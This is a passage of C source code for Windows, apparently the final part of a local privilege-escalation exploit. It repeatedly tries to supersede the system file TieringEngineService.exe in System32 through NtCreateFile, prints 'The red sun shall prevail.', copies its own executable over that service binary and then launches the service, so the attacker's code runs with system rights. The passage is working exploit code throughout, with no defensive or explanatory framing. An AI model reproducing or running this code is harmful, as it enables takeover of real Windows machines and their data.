  634. LARGE_INTEGER duetime = { 0 };
  635. GetSystemTimeAsFileTime((LPFILETIME)&duetime);
  636. ULARGE_INTEGER _duetime = { duetime.LowPart, duetime.HighPart };
  637. _duetime.QuadPart += 0x2FAF080;
  638. duetime.QuadPart = _duetime.QuadPart;
  639. CloseHandle(hfile);
  640. for (int i = 0; i < 1000; i++)
  641. {
  642. wchar_t malpath[] = { L"\\??\\C:\\Windows\\System32\\TieringEngineService.exe" };
  643. UNICODE_STRING _malpath = { 0 };
  644. RtlInitUnicodeString(&_malpath, malpath);
  645. OBJECT_ATTRIBUTES objattr2 = { 0 };
  646. InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
  647. IO_STATUS_BLOCK iostat = { 0 };
  648. stat = NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SUPERSEDE, NULL, NULL, NULL);
  649. if (!stat)
  650. break;
  651. Sleep(20);
  652. }
  653. if (stat != STATUS_SUCCESS)
  654. {
  655. printf("Something went wrong.\n");
  656. return 1;
  657. }
  658. printf("The red sun shall prevail.\n");
  659. CloseHandle(hlk);
  660. CloseHandle(hrp);
  661. wchar_t mx[MAX_PATH] = { 0 };
  662. GetModuleFileName(GetModuleHandle(NULL), mx, MAX_PATH);
  663. wchar_t mx2[MAX_PATH] = { 0 };
  664. ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH);
  665. CopyFile(mx, mx2, FALSE);
  666. LaunchTierManagementEng();
  667. Sleep(2000);
  668. CloseHandle(hpipe);
  669. return 0;
  670. }